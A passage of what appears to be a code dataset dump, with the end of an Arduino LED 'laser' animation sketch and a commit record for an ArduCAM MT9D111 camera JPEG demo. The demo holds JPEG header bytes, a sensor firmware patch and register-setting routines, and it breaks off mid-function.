flashes\n for (int i=0; i < chargeLevel; i++){\n pixels.setPixelColor(random(chargeLevel,NUM_LEDS),pixels.Color(sceneBrightness,sceneBrightness,sceneBrightness));\n delay(0);\n }\n\n \/\/pixels.setBrightness(brightness);\/\/ set pixel brightness\n pixels.show(); \/\/send updated pixel color to hardware\n\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Charged SCENE\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid sceneCharged() {\n \/\/ charged loop\n count++;\n laserTimer= millis();\n if (laserTimer > sceneStartMillis + SCENE_CHARGED_LEN_MS) {\n \/\/ if we've been charged for 2 sec, fire\n Serial.println(\"Ready to fire\");\n setScene(SCENE_FIRING);\n return;\n }\n\n r = 0; g = 0; b = 255;\n for (int i = 0; i < CHARGE_PIXELS; i++) {\n pixels.setPixelColor(i, pixels.Color(r, g, b));\n delay(0);\n }\n for (int i = CHARGE_PIXELS; i < NUM_LEDS; i++) {\n pixels.setPixelColor(i, pixels.Color(0, 0, 0));\n delay(0);\n }\n\n pixels.show(); \/\/send updated pixel color to hardware\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ FIRING SCENE\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid sceneFiring() {\n \/\/ firing animation\n count++;\n laserTimer = millis();\n long sceneEnd = sceneStartMillis + SCENE_FIRING_LEN_MS;\n if (laserTimer > sceneEnd) {\n \/\/ if we're finished firing go back to idle\n Serial.println(\"Finished firing, cooling down\");\n sceneBrightness = 1;\n setScene(SCENE_COOLDOWN);\n return;\n }\n\n for (int i = 0; i < NUM_LEDS; i++) {\n int currentLED = count % NUM_LEDS;\n if (i >= currentLED + 5 || i <= currentLED - 5) {\n r = 0; g = 0; b = map(laserTimer, sceneStartMillis, sceneEnd, 255, 0);\n } else {\n r = 0; g = 0; b = 0;\n }\n pixels.setPixelColor(i, pixels.Color(r, g, b));\n delay(0);\n }\n\n pixels.show(); \/\/send updated pixel color to hardware\n}\n\nvoid sceneCooldown(){\n count ++;\n laserTimer = millis();\n if (laserTimer > sceneStartMillis + SCENE_COOLDOWN_LEN_MS) {\n \/\/ if we've been charged for 2 sec, fire\n Serial.println(\"Cooled down\");\n setScene(SCENE_IDLE);\n return;\n }\n for (int i = 0; i < NUM_LEDS; i++) {\n pixels.setPixelColor(i, pixels.Color(0, 0, 0));\n delay(0);\n }\n \n pixels.show();\n}\n\n\nvoid setScene(int sceneNum) {\n count = 0; \/\/reset counter\n if (sceneNum < SCENE_COOLDOWN || sceneNum > SCENE_PRETTYLIGHTS) {\n Serial.println(\"Invalid scene, setting Idle scene\");\n sceneNum = SCENE_IDLE; \/\/ return to idle if we're looping around\n }\n Serial.print(\"Setting scene to \");\n Serial.println(sceneNum);\n\n switch (sceneNum) {\n case SCENE_CHARGING:\n \/\/ fire the sound file for charging scene\n playSoundFile(SCENE_CHARGING_INDEX + 1);\n break;\n case SCENE_CHARGED:\n \/\/ fire the sound file for charged scene\n playSoundFile(SCENE_CHARGED_INDEX + 1);\n break;\n case SCENE_FIRING:\n \/\/ fire the sound file for the firing scene\n playSoundFile(SCENE_FIRING_INDEX + 1);\n break;\n case SCENE_COOLDOWN:\n \/\/playSoundFile(SCENCE_COOLDOWN_INDEX +1);\n break;\n }\n\n\n sceneState = sceneNum;\n sceneStartMillis = millis();\n}\n\nvoid doScene() {\n \/\/ animates the current scene\n \/\/ simple state machine\n switch (sceneState) {\n case SCENE_IDLE: \/\/ idle\n sceneIdle();\n break;\n case SCENE_CHARGING: \/\/ charging\n sceneCharging();\n break;\n case SCENE_CHARGED:\n sceneCharged();\n break;\n case SCENE_FIRING:\n sceneFiring();\n break;\n case SCENE_COOLDOWN:\n sceneCooldown();\n break;\n case SCENE_PRETTYLIGHTS:\n scenePrettyLights();\n break;\n }\n}\n\nvoid prettyLights(){\n Serial.println(\"Activating Pretty Lights Mode\");\n setScene(SCENE_PRETTYLIGHTS);\n}\n\nvoid scenePrettyLights() {\n rainbowCycle(20);\n}\n\n\n\/\/ Slightly different, this makes the rainbow equally distributed throughout\nvoid rainbowCycle(uint8_t wait) {\n uint16_t i, j;\n\n for(j=0; j<256*5; j++) { \/\/ 5 cycles of all colors on wheel\n for(i=0; i< pixels.numPixels(); i++) {\n pixels.setPixelColor(i, Wheel(((i * 256 \/ pixels.numPixels()) + j) & 255));\n }\n pixels.show();\n \/\/delay(wait);\n }\n}\n\n\/\/ Input a value 0 to 255 to get a color value.\n\/\/ The colours are a transition r - g - b - back to r.\nuint32_t Wheel(byte WheelPos) {\n WheelPos = 255 - WheelPos;\n if(WheelPos < 85) {\n return pixels.Color(255 - WheelPos * 3, 0, WheelPos * 3);\n }\n if(WheelPos < 170) {\n WheelPos -= 85;\n return pixels.Color(0, WheelPos * 3, 255 - WheelPos * 3);\n }\n WheelPos -= 170;\n return pixels.Color(WheelPos * 3, 255 - WheelPos * 3, 0);\n}\n\n\r\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"08df0b8cae43bba0eba93fd4b6a69946d663564c","subject":"Update ArduCAM_Shield_V2_MT9D111_Camera_JPEG.ino","message":"Update ArduCAM_Shield_V2_MT9D111_Camera_JPEG.ino\n","repos":"ArduCAM\/Arduino,ArduCAM\/Arduino,ArduCAM\/Arduino","old_file":"ArduCAM\/examples\/Shield_V2\/ArduCAM_Shield_V2_MT9D111_Camera_JPEG\/ArduCAM_Shield_V2_MT9D111_Camera_JPEG.ino","new_file":"ArduCAM\/examples\/Shield_V2\/ArduCAM_Shield_V2_MT9D111_Camera_JPEG\/ArduCAM_Shield_V2_MT9D111_Camera_JPEG.ino","new_contents":"\/\/ ArduCAM demo (C)2020 Lee\n\/\/ web: http:\/\/www.ArduCAM.com\n\/\/ This program is a demo of how to use most of the functions of the library with a supported camera modules.\n\/\/ This demo can only work on ARDUCAM_SHIELD_V2 platform.\n\/\/ This demo will run the MT9D111 with JPEG mode, it is compatible with autofocus and non-autofocus.\n\/\/ The demo sketch will do the following tasks:\n\/\/ 1. Set the sensor to JPEG output mode.\n\/\/ 2. Capture and buffer the image to FIFO. \n\/\/ 3. Store the image to Micro SD\/TF card with JPEG format.\n\/\/ This program requires the ArduCAM V4.0.0 (or later) library and ArduCAM shield V2\n\/\/ and use Arduino IDE 1.8.9 compiler or above.\n\n#include <UTFT_SPI.h>\n#include <SD.h>\n#include <Wire.h>\n#include <ArduCAM.h>\n#include <SPI.h>\n#if defined(__arm__)\n#include <itoa.h>\n#endif\n\n#define SD_CS 9\n#define JPEGIMAGEOFFSET 625\n\n \/\/ w1 = 0x0140; 320\n \/\/ h1 = 0x00f0; 240\n \/\/ w2 = 0x0320; 800\n \/\/ h2 = 0x0258; 600\n \/\/ w2 = 0x0640; 1600\n \/\/ h2 = 0x04B0; 1200\n \nint jpeg = 1;\nunsigned long jpeg_length = 0;\n\/\/ Set the offset to adjust the error data at the end of the image.\nint16_t OFFSET = 50;\n\/\/set resolution \nconst uint16_t width = 1600;\nconst uint16_t height = 1200;\n\/\/ set pin 10 as the slave select for the ArduCAM shiel:\nconst int slaveSelectPin = 10;\n\nconst char JPEG_header[625] PROGMEM =\n{\n 0xff, 0xd8, 0xff, 0xe0, 0x00, 0x10, 0x4a, 0x46, 0x49, 0x46, 0x00, 0x01, 0x02, 0x00, 0x00, 0x01,\n 0x00, 0x01, 0x00, 0x00, 0xff, 0xdb, 0x00, 0x84, 0x00, 0x03, 0x02, 0x02, 0x03, 0x02, 0x02, 0x03,\n 0x03, 0x02, 0x03, 0x03, 0x03, 0x03, 0x04, 0x05, 0x08, 0x05, 0x05, 0x04, 0x04, 0x05, 0x09, 0x07,\n 0x07, 0x05, 0x08, 0x0b, 0x0a, 0x0b, 0x0b, 0x0b, 0x0a, 0x0b, 0x0a, 0x0c, 0x0e, 0x11, 0x0f, 0x0c,\n 0x0d, 0x10, 0x0d, 0x0a, 0x0b, 0x0f, 0x14, 0x0f, 0x10, 0x12, 0x12, 0x13, 0x14, 0x13, 0x0c, 0x0e,\n 0x15, 0x17, 0x15, 0x13, 0x17, 0x11, 0x13, 0x13, 0x13, 0x01, 0x03, 0x03, 0x03, 0x05, 0x04, 0x05,\n 0x09, 0x05, 0x05, 0x09, 0x13, 0x0c, 0x0b, 0x0c, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13,\n 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13,\n 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13,\n 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0xff, 0xc0, 0x00, 0x11, 0x08, 0x04,\n 0x80, 0x06, 0x40, 0x03, 0x00, 0x21, 0x00, 0x01, 0x11, 0x01, 0x02, 0x11, 0x01, 0xff, 0xc4, 0x00,\n 0x1f, 0x00, 0x00, 0x01, 0x05, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0xff, 0xc4,\n 0x00, 0xb5, 0x10, 0x00, 0x02, 0x01, 0x03, 0x03, 0x02, 0x04, 0x03, 0x05, 0x05, 0x04, 0x04, 0x00,\n 0x00, 0x01, 0x7d, 0x01, 0x02, 0x03, 0x00, 0x04, 0x11, 0x05, 0x12, 0x21, 0x31, 0x41, 0x06, 0x13,\n 0x51, 0x61, 0x07, 0x22, 0x71, 0x14, 0x32, 0x81, 0x91, 0xa1, 0x08, 0x23, 0x42, 0xb1, 0xc1, 0x15,\n 0x52, 0xd1, 0xf0, 0x24, 0x33, 0x62, 0x72, 0x82, 0x09, 0x0a, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x25,\n 0x26, 0x27, 0x28, 0x29, 0x2a, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3a, 0x43, 0x44, 0x45, 0x46,\n 0x47, 0x48, 0x49, 0x4a, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5a, 0x63, 0x64, 0x65, 0x66,\n 0x67, 0x68, 0x69, 0x6a, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7a, 0x83, 0x84, 0x85, 0x86,\n 0x87, 0x88, 0x89, 0x8a, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9a, 0xa2, 0xa3, 0xa4,\n 0xa5, 0xa6, 0xa7, 0xa8, 0xa9, 0xaa, 0xb2, 0xb3, 0xb4, 0xb5, 0xb6, 0xb7, 0xb8, 0xb9, 0xba, 0xc2,\n 0xc3, 0xc4, 0xc5, 0xc6, 0xc7, 0xc8, 0xc9, 0xca, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7, 0xd8, 0xd9,\n 0xda, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5,\n 0xf6, 0xf7, 0xf8, 0xf9, 0xfa, 0xff, 0xc4, 0x00, 0x1f, 0x01, 0x00, 0x03, 0x01, 0x01, 0x01, 0x01,\n 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05,\n 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0xff, 0xc4, 0x00, 0xb5, 0x11, 0x00, 0x02, 0x01, 0x02, 0x04,\n 0x04, 0x03, 0x04, 0x07, 0x05, 0x04, 0x04, 0x00, 0x01, 0x02, 0x77, 0x00, 0x01, 0x02, 0x03, 0x11,\n 0x04, 0x05, 0x21, 0x31, 0x06, 0x12, 0x41, 0x51, 0x07, 0x61, 0x71, 0x13, 0x22, 0x32, 0x81, 0x08,\n 0x14, 0x42, 0x91, 0xa1, 0xb1, 0xc1, 0x09, 0x23, 0x33, 0x52, 0xf0, 0x15, 0x62, 0x72, 0xd1, 0x0a,\n 0x16, 0x24, 0x34, 0xe1, 0x25, 0xf1, 0x17, 0x18, 0x19, 0x1a, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x35,\n 0x36, 0x37, 0x38, 0x39, 0x3a, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4a, 0x53, 0x54, 0x55,\n 0x56, 0x57, 0x58, 0x59, 0x5a, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6a, 0x73, 0x74, 0x75,\n 0x76, 0x77, 0x78, 0x79, 0x7a, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8a, 0x92, 0x93,\n 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9a, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7, 0xa8, 0xa9, 0xaa,\n 0xb2, 0xb3, 0xb4, 0xb5, 0xb6, 0xb7, 0xb8, 0xb9, 0xba, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7, 0xc8,\n 0xc9, 0xca, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7, 0xd8, 0xd9, 0xda, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6,\n 0xe7, 0xe8, 0xe9, 0xea, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9, 0xfa, 0xff, 0xdd, 0x00,\n 0x04, 0x00, 0x20, 0xff, 0xda, 0x00, 0x0c, 0x03, 0x00, 0x00, 0x01, 0x11, 0x02, 0x11, 0x00, 0x3f,\n 0x00\n};\n\nconst uint16_t patch_addr_0400[206] PROGMEM = {\n 0x0400,\n 0x00cc,\n 0xce06, 0x10ed, 0x0230, 0xec00, 0xce06, 0x10ed, 0x00ce, 0x0610,\n 0xec04, 0xc300, 0x01ed, 0x04ce, 0x1070, 0xc603, 0xe70f, 0xc611,\n 0xe740, 0xc680, 0xe742, 0xc603, 0xe701, 0xc6fe, 0xe74c, 0xc600,\n 0xe71a, 0xe71b, 0xe710, 0xe712, 0xc680, 0xe711, 0xc680, 0xe713,\n 0xc601, 0xe744, 0xc6fe, 0xe746, 0x39ce, 0x0620, 0xed02, 0x30ec,\n 0x00ce, 0x0620, 0xed00, 0xce06, 0x20e6, 0x05cb, 0x01c4, 0x7fe7,\n 0x05ce, 0x0720, 0x3a18, 0xce06, 0x2018, 0xe603, 0xe700, 0x3c34,\n 0xce01, 0x0de6, 0x03e7, 0x04ce, 0x0620, 0xe603, 0xce01, 0x0de7,\n 0x03ce, 0x1070, 0xc602, 0xe703, 0xc6ff, 0xe746, 0xc601, 0xe745,\n 0x18ce, 0x010d, 0x18e6, 0x034f, 0xc300, 0x0105, 0xed10, 0x18e6,\n 0x034f, 0x1830, 0x18ed, 0x01cc, 0x0101, 0x18a3, 0x0105, 0xed12,\n 0xc600, 0xe745, 0xc6fe, 0xe746, 0xc602, 0xe703, 0x4fcc, 0x0050, \/\/ 50 is time needed for lens setling\n 0xbd9b, 0x1118, 0xce01, 0x0d18, 0xe605, 0xca02, 0x18e7, 0x0530,\n 0xc603, 0x3a35, 0x39ce, 0x0630, 0xed02, 0x30ec, 0x00ce, 0x0630,\n 0xed00, 0xce06, 0x30ec, 0x08c3, 0x0001, 0xed08, 0x39ce, 0x0640,\n 0xed02, 0x30ec, 0x00ce, 0x0640, 0xed00, 0xcc06, 0x40ec, 0x08c3,\n 0x0001, 0xed08, 0xbd9c, 0x43c1, 0x0126, 0x1218, 0xce01, 0x0d18,\n 0xe605, 0xf400, 0xfd18, 0xe705, 0xce06, 0x40e7, 0x04ce, 0x0640,\n 0xe704, 0x18ce, 0x010d, 0x18e6, 0x0539, 0x3c3c, 0x3c3c, 0x34cc,\n 0x02c4, 0x30ed, 0x06fe, 0x1050, 0xec0c, 0xfd02, 0xc0fe, 0x02c0,\n 0xec00, 0xfd02, 0xc230, 0x6f08, 0xe608, 0x4f05, 0xf302, 0xc28f,\n 0xec00, 0x30ed, 0x00e6, 0x084f, 0x05e3, 0x0618, 0x8fec, 0x0018,\n 0xed00, 0x6c08, 0xe608, 0xc104, 0x25de, 0x30ee, 0x06cc, 0x0400,\n 0xed00, 0x30ee, 0x06cc, 0x0449, 0xed02, 0x30ee, 0x06cc, 0x04d5,\n 0xed04, 0x30ee, 0x06cc, 0x04ed, 0xed06, 0xcc02, 0xc4fe, 0x010d,\n 0xed00, 0x30c6, 0x093a, 0x3539\n};\n\nArduCAM myCAM(MT9D111_B, slaveSelectPin);\nUTFT myGLCD(slaveSelectPin);\n\nvoid AF_refocus() {\n Serial.println(\"af_refocus\");\n myCAM.wrSensorReg8_16(0xF0, 0x01);\n myCAM.wrSensorReg8_16(0xC6, 0xA102);\n myCAM.wrSensorReg8_16(0xC8, 0x31);\n myCAM.wrSensorReg8_16(0xC6, 0xA504);\n myCAM.wrSensorReg8_16(0xC8, 0x01);\n}\n\nvoid AF_mode() {\n uint16_t value, v;\n\n myCAM.wrSensorReg8_16( 0xF0, 0x02);\n myCAM.rdSensorReg8_16(0x4C, &v);\n v |= 0x000B;\n myCAM.wrSensorReg8_16(0x4C, v);\n myCAM.rdSensorReg8_16(0x56, &v);\n v |= 0x000B;\n myCAM.wrSensorReg8_16(0x56, v);\n\n myCAM.wrSensorReg8_16( 0xF0, 0x01);\n myCAM.wrSensorReg8_16( 0xC6, 0xA102);\n myCAM.rdSensorReg8_16( 0xC8, &value);\n value |= 0x0010; \/\/ enable AF driver\n myCAM.wrSensorReg8_16( 0xC6, 0xA102);\n myCAM.wrSensorReg8_16( 0xC8, value);\n myCAM.wrSensorReg8_16( 0xC6, 0xA102);\n myCAM.rdSensorReg8_16( 0xC8, &value);\n\n\n\n if (jpeg == 1 ) {\n value = 0x01;\n myCAM.wrSensorReg8_16( 0xC6, 0xA12C);\n myCAM.wrSensorReg8_16( 0xC8, value);\n\n refresh();\n\n value = 0x00;\n myCAM.wrSensorReg8_16( 0xC6, 0xA12C);\n myCAM.wrSensorReg8_16( 0xC8, value);\n\n value = 0x01;\n myCAM.wrSensorReg8_16( 0xC6, 0xA13A);\n myCAM.wrSensorReg8_16( 0xC8, value);\n\n myCAM.wrSensorReg8_16( 0xC6, 0xA504);\n myCAM.wrSensorReg8_16( 0xC8, 0X00);\n\n\n \/\/ myCAM.wrSensorReg8_16( 0xC6, 0xA505);\n \/\/ myCAM.wrSensorReg8_16( 0xC8, 0x80);\n\n \/\/ myCAM.wrSensorReg8_16( 0xC6, 0xA502);\n \/\/ myCAM.wrSensorReg8_16( 0xC8, 0x17);\n \/\/ myCAM.wrSensorReg8_16( 0xC6, 0xA503);\n \/\/ myCAM.wrSensorReg8_16( 0xC8, 0x11);\n }\n else {\n value = 0x01;\n myCAM.wrSensorReg8_16( 0xC6, 0xA12C);\n myCAM.wrSensorReg8_16( 0xC8, value);\n\n\n \/\/ myCAM.wrSensorReg8_16( 0xC6, 0xA504);\n \/\/ myCAM.wrSensorReg8_16( 0xC8, 0X00);\n\n \/\/ myCAM.wrSensorReg8_16( 0xC6, 0xA505);\n \/\/ myCAM.wrSensorReg8_16( 0xC8, 0x80);\n\n \/\/ myCAM.wrSensorReg8_16( 0xC6, 0xA502);\n \/\/ myCAM.wrSensorReg8_16( 0xC8, 0x17);\n \/\/ myCAM.wrSensorReg8_16( 0xC6, 0xA503);\n \/\/ myCAM.wrSensorReg8_16( 0xC8, 0x11);\n\n refresh();\n refreshMode();\n }\n}\n\nvoid load_patch_segment()\n{\n uint16_t start, size, data, offreg;\n uint16_t pdata;\n int offset;\n\n \/\/start = patch[0]; \/\/ start MCU_ADDRESS\n start = pgm_read_word(&patch_addr_0400[0]);\n \/\/size = patch[1]; \/\/ data size\n size = pgm_read_word(&patch_addr_0400[1]);\n pdata = 2; \/\/ data pointer\n offset = 0; \/\/ MCU_DATA_0,7\n\n myCAM.wrSensorReg8_16( 0xF0, 0x01);\n while (size > 0)\n {\n if (offset == 0)\n {\n \/\/mi2010soc_reg_write(0x1C6, start); \/\/ write MCU_ADDRESS\n myCAM.wrSensorReg8_16( 0xC6, start);\n \/\/printk(KERN_INFO \"REG=1, 0xC6, 0x%04X t\/\/ MCU_ADDRESSn\", start);\n }\n \/\/data = *pdata++;\n data = pgm_read_word(&patch_addr_0400[pdata++]);\n \/\/offreg = 0x1C8 + offset;\n \/\/mi2010soc_reg_write(offreg, data); \/\/ write MCU_ADDRESS\n\n \/\/addr = 0x2003;\n \/\/myCAM.wrSensorReg8_16( 0xC6, addr);\n myCAM.wrSensorReg8_16( 0xC8 + offset, data);\n \/\/printk(KERN_INFO \"REG=1, 0x%02X, 0x%04X t\/\/ MCU_DATA_%dn\", offreg&0xff, data, offset);\n start += 2;\n size--;\n offset++;\n if (offset == 8)\n offset = 0;\n }\n return;\n}\n\nvoid call_vmt(uint16_t base) {\n uint16_t value, addr, v;\n\n myCAM.wrSensorReg8_16( 0xF0, 0x01);\n addr = 0x2003;\n value = base;\n myCAM.wrSensorReg8_16( 0xC6, addr);\n myCAM.wrSensorReg8_16( 0xC8, value);\n\n myCAM.wrSensorReg8_16( 0xF0, 0x01);\n addr = 0xA002;\n value = 0x0001;\n myCAM.wrSensorReg8_16( 0xC6, addr);\n myCAM.wrSensorReg8_16( 0xC8, value);\n\n addr = 0xA002;\n myCAM.wrSensorReg8_16(0xC6, addr);\n myCAM.rdSensorReg8_16(0xC8, &v);\n while ( v != 0) {\n addr = 0xA002;\n myCAM.wrSensorReg8_16(0xC6, addr);\n myCAM.rdSensorReg8_16(0xC8, &v);\n }\n}\n\nvoid call_init(uint16_t base) {\n uint16_t value, v, addr;\n\n myCAM.wrSensorReg8_16( 0xF0, 0x01);\n addr = 0x2003;\n value = base;\n myCAM.wrSensorReg8_16( 0xC6, addr);\n myCAM.wrSensorReg8_16( 0xC8, value);\n\n myCAM.wrSensorReg8_16( 0xF0, 0x01);\n addr = 0xA002;\n value = 0x0001;\n myCAM.wrSensorReg8_16( 0xC6, addr);\n myCAM.wrSensorReg8_16( 0xC8, value);\n\n addr = 0xA002;\n myCAM.wrSensorReg8_16(0xC6, addr);\n myCAM.rdSensorReg8_16(0xC8, &v);\n while ( v != 0) {\n addr = 0xA002;\n myCAM.wrSensorReg8_16(0xC6, addr);\n myCAM.rdSensorReg8_16(0xC8, &v);\n }\n}\n\nvoid resetCAM() {\n uint16_t state;\n Serial.println(\"reset CAM\");\n\n myCAM.wrSensorReg8_16( 0xF0, 0x00);\n myCAM.wrSensorReg8_16( 0x65, 0xA000);\n\n myCAM.wrSensorReg8_16( 0xF0, 0x01);\n myCAM.wrSensorReg8_16( 0xC3, 0x0501);\n\n myCAM.wrSensorReg8_16( 0xF0, 0x00);\n myCAM.wrSensorReg8_16( 0x0D, 0x0021);\n myCAM.wrSensorReg8_16( 0x0D, 0x0000);\n\n\n delayMicroseconds(10000);\n\n myCAM.wrSensorReg8_16( 0xF0, 0x01);\n myCAM.wrSensorReg8_16( 0xC6, 0xA104);\n myCAM.rdSensorReg8_16( 0xC8, &state);\n\n Serial.print(\"mod.state : \");\n Serial.println(state);\n\n\n\n delayMicroseconds(200000);\n myCAM.wrSensorReg8_16( 0xF0, 0x00);\n myCAM.wrSensorReg8_16( 0x65, 0xA000);\n myCAM.wrSensorReg8_16( 0x66, 0x1001);\n myCAM.wrSensorReg8_16( 0x67, 0x0503);\n\n delayMicroseconds(15000);\n\n myCAM.wrSensorReg8_16( 0xF0, 0x00);\n myCAM.wrSensorReg8_16( 0x65, 0x2000);\n\n delayMicroseconds(15000);\n\n\n\n if (state != 3)\n {\n myCAM.wrSensorReg8_16( 0xF0, 0x01);\n myCAM.wrSensorReg8_16( 0xC6, 0xA103);\n myCAM.wrSensorReg8_16( 0xC8, 0X0001);\n \/\/ Waiting state to standby mode\n unsigned int count = 500000;\n while (state != 3 && count > 0) {\n myCAM.wrSensorReg8_16( 0xF0, 0x01);\n myCAM.wrSensorReg8_16( 0xC6, 0xA104);\n myCAM.rdSensorReg8_16( 0xC8, &state);\n count--;\n }\n Serial.print(\"mod.state : \");\n Serial.println(state);\n Serial.print(\"mod.state : \");\n Serial.println(500000 - count);\n }\n Serial.print(\"mod.state : \");\n Serial.println(state);\n\n \/\/ myCAM.wrSensorReg8_16( 0xF0, 0x01); \/\/clear possible testpattern setting\n \/\/ myCAM.wrSensorReg8_16( 0x48, 0x0000);\n \/\/ refresh();\n}\n\nvoid refresh()\n{\n uint16_t cmd;\n int i;\n myCAM.wrSensorReg8_16( 0xF0, 0x01);\n myCAM.wrSensorReg8_16( 0xC6, 0xA103);\n myCAM.wrSensorReg8_16( 0xC8, 0X05);\n myCAM.wrSensorReg8_16( 0xC6, 0xA103);\n myCAM.rdSensorReg8_16( 0xC8, &cmd);\n while (( cmd != 0) && (i < 65535))\n {\n myCAM.wrSensorReg8_16( 0xC6, 0xA103);\n myCAM.rdSensorReg8_16( 0xC8, &cmd);\n i++;\n }\n if ( i == 65535)\n Serial.println(\"refresh time out\");\n}\n\nvoid refreshMode()\n{\n uint16_t cmd;\n int i;\n myCAM.wrSensorReg8_16( 0xF0, 0x01);\n myCAM.wrSensorReg8_16( 0xC6, 0xA103);\n myCAM.wrSensorReg8_16( 0xC8, 0X06);\n while (( cmd != 0) && (i < 65535))\n {\n myCAM.wrSensorReg8_16( 0xC6, 0xA103);\n myCAM.rdSensorReg8_16( 0xC8, &cmd);\n i++;\n }\n if ( i == 65535)\n Serial.println(\"refreshMode time out\");\n}\n\nvoid setSizes(uint16_t w1, uint16_t h1, uint16_t w2, uint16_t h2 ) {\n \/\/ uint16_t w1,h1;\n \/\/ uint16_t w2,h2;\n\n \/\/ w1 = 0x0140; 320\n \/\/ h1 = 0x00f0; 240\n \/\/ w2 = 0x0320; 800\n \/\/ h2 = 0x0258; 600\n \/\/ w2 = 0x0640; 1600\n \/\/ h2 = 0x04B0; 1200\n \/\/msg(\"setSizes\");\n\n \/\/ A context\n\n myCAM.wrSensorReg8_16( 0xF0, 0x01);\n myCAM.wrSensorReg8_16( 0xC6, 0x2703);\n myCAM.wrSensorReg8_16( 0xC8, w1);\n myCAM.wrSensorReg8_16( 0xF0, 0x01);\n myCAM.wrSensorReg8_16( 0xC6, 0x2705);\n myCAM.wrSensorReg8_16( 0xC8, h1);\n\n\n \/\/ B context\n\n myCAM.wrSensorReg8_16( 0xF0, 0x01);\n myCAM.wrSensorReg8_16( 0xC6, 0x2707);\n myCAM.wrSensorReg8_16( 0xC8, w2);\n\n myCAM.wrSensorReg8_16( 0xF0, 0x01);\n myCAM.wrSensorReg8_16( 0xC6, 0x2709);\n myCAM.wrSensorReg8_16( 0xC8, h2);\n\n myCAM.wrSensorReg8_16( 0xF0, 0x01);\n myCAM.wrSensorReg8_16( 0xC6, 0x2779);\n myCAM.wrSensorReg8_16( 0xC8, w2);\n\n myCAM.wrSensorReg8_16( 0xF0, 0x01);\n myCAM.wrSensorReg8_16( 0xC6, 0x277B);\n myCAM.wrSensorReg8_16( 0xC8, h2);\n\n refreshMode();\n refresh();\n}\n\nvoid setFormats() {\n Serial.println(\"setFormat\");\n\n \/\/ A context\n myCAM.wrSensorReg8_16( 0xF0, 0x01);\n myCAM.wrSensorReg8_16( 0xC6, 0xA77D);\n myCAM.wrSensorReg8_16( 0xC8, 0X00020);\n\n \/\/ B context\n\n myCAM.wrSensorReg8_16( 0xF0, 0x01);\n myCAM.wrSensorReg8_16( 0xC6, 0xA77E);\n myCAM.wrSensorReg8_16( 0xC8, 0X0000);\n\n \/\/ Refresh Sequencer\n\n \/\/ refreshMode();\n \/\/ refresh();\n\n\n myCAM.wrSensorReg8_16( 0xF0, 0x01);\n myCAM.wrSensorReg8_16( 0xC6, 0xA103);\n myCAM.wrSensorReg8_16( 0xC8, 0X0006);\n\n myCAM.wrSensorReg8_16( 0xF0, 0x01);\n myCAM.wrSensorReg8_16( 0xC6, 0xA103);\n myCAM.wrSensorReg8_16( 0xC8, 0X0005);\n\n}\n\nvoid doCapture(unsigned short restart_int) {\n\n Serial.println(\"doCapture\");\n\n myCAM.wrSensorReg8_16( 0xF0, 0x01);\n myCAM.wrSensorReg8_16( 0x48, 0X0000);\n myCAM.wrSensorReg8_16( 0x49, 0X0000);\n myCAM.wrSensorReg8_16( 0x4A, 0X007f);\n myCAM.wrSensorReg8_16( 0x4B, 0X0000);\n\n myCAM.wrSensorReg8_16( 0xF0, 0x02);\n myCAM.wrSensorReg8_16( 0x00, 0X0001);\n \/\/\n \/\/ myCAM.wrSensorReg8_16( 0xF0, 0x01); \/\/ set format B\n \/\/ myCAM.wrSensorReg8_16( 0xC6, 0xA77E);\n \/\/ myCAM.wrSensorReg8_16( 0xC8, 0X0000);\n\n\n 